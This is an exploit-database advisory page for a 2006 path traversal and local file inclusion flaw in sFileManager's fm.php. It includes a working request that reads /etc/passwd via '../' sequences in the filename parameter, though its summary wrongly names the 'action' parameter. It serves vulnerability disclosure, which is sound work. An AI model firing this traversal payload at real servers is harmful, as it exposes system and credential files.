header-logo
Suggest Exploit
vendor:
sFileManager
by:
Pepelux
8,8
CVSS
HIGH
Local File Inclusion
98
CWE
Product Name: sFileManager
Affected Version From: <= v.24a
Affected Version To: <= v.24a
Patch Exists: YES
Related CWE: N/A
CPE: o:onedotoh:sfilemanager
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

sFileManager <= v.24a / Local File Inclusion Vulnerability

sFileManager version <= v.24a is vulnerable to a Local File Inclusion vulnerability. When the user clicks to download a file, two parameters are passed: action and pathext. The pathext parameter is checked for any malicious input, however, the action parameter is not checked and can be used to read any file in the server.

Mitigation:

Upgrade to the latest version of sFileManager.
Source

Exploit-DB raw data:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
sFileManager <= v.24a / Local File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

$ Program: sFileManager
$ Version: <= v.24a
$ File affected: fm.php
$ Download: http://onedotoh.sourceforge.net/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org - www.pepelux.org

----- by the author -----
Simple File Manager (SFM) is a web based file management utility. It is designed to be 
used by those that don't want to use ftp or SHOULD NOT use ftp. It can be dropped into 
a specific directory and give access to that directory as well as any directory below 
it, including those created by SFM. It can be placed in a specific directory and 
configured to give access to other directories outside of its location (centralized). 
SFM gives its user upload, rename, delete, directory creation as well as directory 
navigation (within its tree limits), as well as Create New File; it also includes an 
image viewer, text viewer and mime type downloading. 
-------------------------


-- BUG --
When you click to download a file there are two params:

http://www.host.com/fm.php?action=download&filename=file.txt&pathext=pub/&u=&copt=1&sortKey=0

action  = file to download
pathext = directory where the file is located


You can't do:
http://www.host.com/fm.php?action=download&filename=passwd&pathext=pub/../../../../etc/&u=&copt=1&sortKey=0

because in fm.php:

231 ... if (ereg("\.\./", $pathext)) {
232 ...     $hack="<font color=red><b>HACK ATTEMPT - SysOp Notified</b></font><p>";
233 ...     $pathext="";
234 ... }


but $action is not checked and you can do:
http://www.host.com/fm.php?action=download&filename=../../../../../etc/passwd&pathext=pub/&u=&copt=1&sortKey=0